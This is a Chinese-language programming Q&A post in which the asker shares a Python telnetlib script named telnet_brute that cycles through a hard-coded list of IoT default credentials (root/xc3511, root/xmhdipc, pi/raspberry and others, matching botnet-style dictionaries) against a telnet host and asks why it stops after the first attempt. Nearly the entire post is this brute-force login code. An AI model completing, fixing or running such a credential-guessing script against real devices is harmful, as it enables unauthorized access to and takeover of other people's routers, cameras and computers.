【发布时间】:2019-07-07 21:21:08
【问题描述】:
我正在尝试使用 python3 telnetlib 库连接到设备,但不是指定单个用户名/密码(如下所示),我想从元组中读取凭据,并遍历它们直到它找到匹配项。
下面是使用单个用户名的 telnetlib 示例。
import telnetlib
import sys
import getpass
bot = telnetlib.Telnet("192.168.1.128")
bot.read_until(b"login: ")
bot.write(("pi\n").encode('ascii'))
bot.read_until(b"Password: ")
bot.write(("pass12345\n").encode('ascii'))
我已经尝试了以下,但是脚本确实连接但只尝试第一个用户名和密码,然后挂起而不尝试任何其他凭据。
非常感谢任何帮助。
passwords = [('root', 'xc3511'), ('pi', 'raspberry'), ('pi', 'raspberry'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]
def telnet_brute():
print("Trying to authenticate to the telnet server")
tn = telnetlib.Telnet('192.168.0.131', timeout=10)
ip = '192.168.0.131'
passwordAttempts = 0
for tuples in passwords:
passwordAttempts = passwordAttempts + 1
print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
try:
tn.expect([b"Login: ", b"login: "], 5)
tn.write(tuples[0].encode('ascii') + b"\r\n")
tn.expect([b"Password: ", b"password"], 5)
tn.write(tuples[1].encode('ascii') + b"\r\n")
tn.read_all().decode('ascii')
(i, obj, res) = tn.expect([b"Login Incorrect", b"Login incorrect"], 5)
if i != -1:
print("Exploit failed")
else:
if any(map(lambda x: x in res, [b"#", b"$", b"~$", b" "])):
print("Login successful:",tuples[0], tuples[1])
break
else:
print("Exploit failed")
tn.close()
except Exception as e:
print(f"Connection error: {e}")
if __name__ == '__main__':
telnet_brute()
【问题讨论】:
标签: python-3.x telnetlib